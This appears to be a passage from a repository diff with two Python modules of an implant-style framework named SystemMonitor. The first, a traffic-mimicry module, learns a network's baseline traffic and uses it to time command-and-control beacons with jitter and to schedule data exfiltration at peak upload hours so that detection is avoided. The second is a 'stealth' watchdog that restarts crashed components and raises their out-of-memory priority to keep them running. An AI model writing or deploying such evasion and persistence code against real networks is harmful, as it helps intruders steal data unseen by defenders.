self._baseline_hours = config["baseline_hours"]
if "shape_exfil" in config:
self._shape_exfil = config["shape_exfil"]
if "match_protocols" in config:
self._match_protocols = config["match_protocols"]
if "jitter_pct" in config:
self._jitter_pct = config["jitter_pct"]
# ------------------------------------------------------------------
# Traffic shaping API (called by other modules)
# ------------------------------------------------------------------
def get_recommended_beacon_interval(self) -> float:
"""Return a beacon interval (seconds) that matches observed periodic traffic."""
with self._lock:
intervals = self._baseline_data.get("periodic_intervals", [])
if not intervals:
return 300.0 # Default 5min if no baseline
# Pick the most common periodic interval and add jitter
base = random.choice(intervals)
jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1)
return max(10.0, base + jitter)
def get_recommended_exfil_window(self) -> dict:
"""Return recommended exfil timing based on baseline upload patterns."""
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return {"hour": 3, "duration_minutes": 15} # Default: 3 AM
# Find peak upload hour
peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3)
return {
"hour": int(peak_hour),
"duration_minutes": 30,
"max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024),
}
def should_send_now(self) -> bool:
"""Check if current time matches a high-traffic period (safe to send)."""
if self._phase == PHASE_BASELINE:
return False # Don't shape during baseline
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return True
current_hour = str(time.localtime().tm_hour)
hour_data = hourly.get(current_hour, {})
volume = hour_data.get("total_bytes", 0)
avg_volume = sum(
h.get("total_bytes", 0) for h in hourly.values()
) / max(len(hourly), 1)
# Only send when current hour volume is above average
return volume >= avg_volume * 0.5
# ------------------------------------------------------------------
# Internal: baseline collection
# ------------------------------------------------------------------
@staticmethod
def _empty_baseline() -> dict:
return {
"protocol_distribution": {},
"hourly_volume": {},
"inter_packet_timing": [],
"common_dest_ports": {},
"tls_versions": {},
"periodic_intervals": [],
"samples": 0,
"start_time": None,
"end_time": None,
}
def _on_pcap_event(self, event) -> None:
"""Handle PCAP_ROTATED events for baseline data collection."""
if self._phase != PHASE_BASELINE:
return
payload = event.payload
with self._lock:
self._update_baseline_from_pcap(payload)
def _update_baseline_from_pcap(self, payload: dict) -> None:
"""Extract traffic pattern data from PCAP rotation event payload."""
bd = self._baseline_data
bd["samples"] += 1
if bd["start_time"] is None:
bd["start_time"] = time.time()
bd["end_time"] = time.time()
# Protocol distribution from payload stats
protocols = payload.get("protocol_stats", {})
for proto, count in protocols.items():
bd["protocol_distribution"][proto] = (
bd["protocol_distribution"].get(proto, 0) + count
)
# Hourly volume
hour = str(time.localtime().tm_hour)
if hour not in bd["hourly_volume"]:
bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0}
bytes_captured = payload.get("bytes_captured", 0)
bd["hourly_volume"][hour]["total_bytes"] += bytes_captured
bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0)
bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0)
# Destination ports
dest_ports = payload.get("dest_ports", {})
for port, count in dest_ports.items():
bd["common_dest_ports"][str(port)] = (
bd["common_dest_ports"].get(str(port), 0) + count
)
# TLS versions
tls = payload.get("tls_versions", {})
for ver, count in tls.items():
bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count
# Periodic intervals (from beacon-like patterns)
intervals = payload.get("periodic_intervals", [])
bd["periodic_intervals"].extend(intervals)
# Keep only the top 50 intervals to bound memory
if len(bd["periodic_intervals"]) > 50:
bd["periodic_intervals"] = bd["periodic_intervals"][-50:]
# ------------------------------------------------------------------
# Internal: phase management
# ------------------------------------------------------------------
def _monitor_loop(self) -> None:
"""Background loop: check phase transitions and save baselines."""
while self._running:
time.sleep(60) # Check every minute
try:
if self._phase == PHASE_BASELINE:
elapsed = self._baseline_hours_elapsed()
if elapsed >= self._baseline_hours:
self._transition_to_shaping()
elif int(elapsed) % 4 == 0:
# Save interim baseline every ~4 hours
self._save_baseline()
except Exception:
logger.exception("TrafficMimicry monitor loop error")
def _transition_to_shaping(self) -> None:
"""Switch from baseline collection to traffic shaping."""
with self._lock:
self._phase = PHASE_SHAPING
self._save_baseline()
logger.info(
"TrafficMimicry: baseline complete (%d samples) — entering shaping phase",
self._baseline_data["samples"],
)
self.bus.emit(
"CHANGE_DETECTED",
{"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING},
source_module=self.name,
)
def _baseline_hours_elapsed(self) -> float:
if self._baseline_start is None:
return 0.0
return (time.time() - self._baseline_start) / 3600.0
def _baseline_completeness_pct(self) -> float:
"""How complete is the baseline (0-100)?"""
if self._phase == PHASE_SHAPING:
return 100.0
elapsed = self._baseline_hours_elapsed()
time_pct = min(100.0, (elapsed / self._baseline_hours) * 100)
# Also factor in data quality: need protocol and hourly data
data_score = 0.0
bd = self._baseline_data
if bd["protocol_distribution"]:
data_score += 25.0
if len(bd["hourly_volume"]) >= 12:
data_score += 25.0
elif bd["hourly_volume"]:
data_score += 10.0
if bd["common_dest_ports"]:
data_score += 25.0
if bd["samples"] >= 10:
data_score += 25.0
return min(100.0, (time_pct * 0.6) + (data_score * 0.4))
def _baseline_complete(self, data: dict) -> bool:
"""Check if a loaded baseline has sufficient data."""
return (
bool(data.get("protocol_distribution"))
and len(data.get("hourly_volume", {})) >= 6
and data.get("samples", 0) >= 5
)
def _traffic_deviation_score(self) -> float:
"""Score how much current traffic deviates from baseline (0=perfect, 100=no match).
Only meaningful during shaping phase."""
if self._phase == PHASE_BASELINE:
return -1.0 # Not applicable
# Placeholder: in production this would compare real-time traffic stats
# against the baseline distribution. For now return 0 (no deviation data yet).
return 0.0
# ------------------------------------------------------------------
# Internal: persistence
# ------------------------------------------------------------------
def _save_baseline(self) -> None:
"""Persist baseline data to JSON."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
try:
with self._lock:
data = json.dumps(self._baseline_data, indent=2)
with open(path, "w") as f:
f.write(data)
logger.debug("Baseline saved to %s", path)
except Exception:
logger.exception("Failed to save baseline")
def _load_baseline(self) -> Optional[dict]:
"""Load baseline from disk if it exists."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
if not os.path.isfile(path):
return None
try:
with open(path, "r") as f:
return json.load(f)
except Exception:
logger.exception("Failed to load baseline from %s", path)
return None
+348
View File
@@ -0,0 +1,348 @@
#!/usr/bin/env python3
"""Watchdog module — monitor all SystemMonitor modules and managed tools.
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
successful recovery.
"""
import logging
import os
import signal
import threading
import time
from typing import Dict, Optional
from modules.base import BaseModule
from core.bus import Event
from utils.resource import get_process_resources
logger = logging.getLogger(__name__)
# OOM priority assignments by module type
_OOM_PRIORITIES = {
"core": -500,
"stealth": -400,
"connectivity": -300,
"intel": -200,
"passive": 100,
"active": 200,
}
MAX_RESTART_ATTEMPTS = 3
HEALTH_CHECK_INTERVAL = 30.0 # seconds
class _ModuleEntry:
"""Internal tracking for a monitored module."""
__slots__ = ("name", "module_type", "pid", "restart_count", "last_check",
"last_status", "failed")
def __init__(self, name: str, module_type: str, pid: int):
self.name = name
self.module_type = module_type
self.pid = pid
self.restart_count = 0
self.last_check = 0.0
self.last_status = "unknown"
self.failed = False
class Watchdog(BaseModule):
"""Monitor modules and tools, auto-restart on failure, manage OOM priorities."""
name = "watchdog"
module_type = "stealth"
priority = -500
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._monitored: Dict[str, _ModuleEntry] = {}
self._lock = threading.Lock()
self._check_thread: Optional[threading.Thread] = None
self._check_interval = HEALTH_CHECK_INTERVAL
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Subscribe to error/crash events
self.bus.subscribe(self._on_module_error, event_type="MODULE_ERROR")
self.bus.subscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.subscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
# Populate initial monitoring list from state manager
self._refresh_monitored_list()
# Start health check loop
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._check_thread = threading.Thread(
target=self._health_check_loop, daemon=True, name="sensor-watchdog",
)
self._check_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("Watchdog active — monitoring %d modules", len(self._monitored))
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_module_error, event_type="MODULE_ERROR")
self.bus.unsubscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.unsubscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
if self._check_thread and self._check_thread.is_alive():
self._check_thread.join(timeout=5.0)
self.state.set_module_status(self.name, "stopped")
logger.info("Watchdog stopped")
def status(self) -> dict:
with self._lock:
health_report = []
for name, entry in self._monitored.items():
health_report.append({
"module": entry.name,
"module_type": entry.module_type,
"pid": entry.pid,
"status": entry.last_status,
"restarts": entry.restart_count,
"last_check": entry.last_check,
"failed": entry.failed,
})
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"monitored_count": len(self._monitored),
"health_report": health_report,
"check_interval_s": self._check_interval,
}
def configure(self, config: dict) -> None:
self.config.update(config)
self._check_interval = config.get("check_interval_s", HEALTH_CHECK_INTERVAL)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_module_started(self, event: Event) -> None:
"""Register a newly started module for monitoring."""
payload = event.payload
name = payload.get("module", "")
pid = payload.get("pid")
module_type = payload.get("module_type", "passive")
if name and pid and name != self.name:
with self._lock:
self._monitored[name] = _ModuleEntry(name, module_type, pid)
self._set_oom_priority(pid, module_type)
logger.debug("Now monitoring: %s (PID %d, type %s)", name, pid, module_type)
def _on_module_stopped(self, event: Event) -> None:
"""Remove a stopped module from monitoring."""
name = event.payload.get("module", "")
if name:
with self._lock:
self._monitored.pop(name, None)
def _on_module_error(self, event: Event) -> None:
"""Handle a module error event — attempt restart."""
name = event.payload.get("module", "")
error = event.payload.get("error", "unknown")
logger.warning("Module error reported: %s%s", name, error)
self._attempt_restart(name)
def _on_tool_crashed(self, event: Event) -> None:
"""Handle a managed tool crash — delegate restart to engine/tool_manager."""
tool = event.payload.get("tool", "")
pid = event.payload.get("pid")
logger.warning("Tool crashed: %s (PID %s)", tool, pid)
# Tool restarts are handled by tool_manager; we just log and track
with self._lock:
entry = self._monitored.get(tool)
if entry:
entry.restart_count += 1
entry.last_status = "crashed"
# ------------------------------------------------------------------
# Health check loop
# ------------------------------------------------------------------
def _health_check_loop(self) -> None:
"""Periodic health check of all monitored modules."""
while self._running:
time.sleep(self._check_interval)
if not self._running:
break
self._run_health_checks()
def _run_health_checks(self) -> None:
"""Check health of all monitored modules."""
with self._lock:
entries = list(self._monitored.values())
for entry in entries:
if entry.failed:
continue # Already gave up on this module
now = time.time()
entry.last_check = now
# Check if process is alive
if not self._is_pid_alive(entry.pid):
logger.warning("Module %s (PID %d) is dead", entry.name, entry.pid)
entry.last_status = "dead"
self._attempt_restart(entry.name)
continue
# Check process health via engine if available
if self.engine:
try:
module_instance = self._get_module_instance(entry.name)
if module_instance and hasattr(module_instance, "health_check"):
healthy = module_instance.health_check()
entry.last_status = "healthy" if healthy else "unhealthy"
if not healthy:
logger.warning("Module %s failed health check", entry.name)
self._attempt_restart(entry.name)
continue
else:
entry.last_status = "alive"
except Exception as exc:
logger.debug("Health check error for %s: %s", entry.name, exc)
entry.last_status = "check_error"
else:
# No engine reference — just check PID is alive
entry.last_status = "alive"
def _attempt_restart(self, module_name: str) -> None:
"""Attempt to restart a failed module via the engine."""
with self._lock:
entry = self._monitored.get(module_name)
if not entry:
return
if entry.failed:
return
entry.restart_count += 1
if entry.restart_count > MAX_RESTART_ATTEMPTS:
entry.failed = True
entry.last_status = "given_up"
logger.error(
"Module %s exceeded max restarts (%d) — giving up",
module_name, MAX_RESTART_ATTEMPTS,
)
self.bus.emit(
"MODULE_ERROR",
{"module": module_name, "error": "max_restarts_exceeded",
"restarts": entry.restart_count},
source_module=self.name,
)
return
logger.info(
"Attempting restart of %s (attempt %d/%d)",
module_name, entry.restart_count, MAX_RESTART_ATTEMPTS,
)
# Delegate restart to engine
if self.engine and hasattr(self.engine, "restart_module"):
try:
success = self.engine.restart_module(module_name)
if success:
entry.last_status = "restarted"
self.bus.emit(
"MODULE_RESTARTED" if "MODULE_RESTARTED" in getattr(
self.bus, '_subscribers', {}
) else "TOOL_RESTARTED",
{"module": module_name, "attempt": entry.restart_count},
source_module=self.name,
)
# Publish MODULE_RESTARTED (it may not be in EVENT_TYPES but
# subscribers can still listen for it)
self.bus.emit(
"TOOL_RESTARTED",
{"module": module_name, "tool": module_name,
"attempt": entry.restart_count},
source_module=self.name,
)
logger.info("Successfully restarted %s", module_name)
else:
entry.last_status = "restart_failed"
logger.error("Engine failed to restart %s", module_name)
except Exception as exc:
entry.last_status = "restart_error"
logger.error("Restart error for %s: %s", module_name, exc)
else:
logger.warning("No engine available — cannot restart %s", module_name)
entry.last_status = "no_engine"
# ------------------------------------------------------------------
# OOM priority management
# ------------------------------------------------------------------
def _set_oom_priority(self, pid: int, module_type: str) -> None:
"""Set OOM score adjustment for a process based on its module type."""
score = _OOM_PRIORITIES.get(module_type, 0)
oom_path = f"/proc/{pid}/oom_score_adj"
try:
with open(oom_path, "w") as f:
f.write(str(score))
logger.debug("Set OOM priority for PID %d: %d (%s)", pid, score, module_type)
except (IOError, PermissionError) as exc:
logger.debug("Cannot set OOM priority for PID %d: %s", pid, exc)
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
def _refresh_monitored_list(self) -> None:
"""Populate monitored list from state manager's module status."""
try:
all_status = self.state.get_all_module_status()
with self._lock:
for name, info in all_status.items():
if name == self.name:
continue
if info.get("status") == "running" and info.get("pid"):
self._monitored[name] = _ModuleEntry(
name=name,
module_type="unknown",
pid=info["pid"],
)
except Exception as exc:
logger.debug("Could not refresh monitored list: %s", exc)
def _get_module_instance(self, module_name: str):
"""Get a module instance from the engine if available."""
if self.engine and hasattr(self.engine, "get_module"):
return self.engine.get_module(module_name)
return None
@staticmethod
def _is_pid_alive(pid: int) -> bool:
"""Check if a process with the given PID exists."""
try:
os.kill(pid, 0)
return True
except (ProcessLookupError, PermissionError):
return False
except OSError:
return False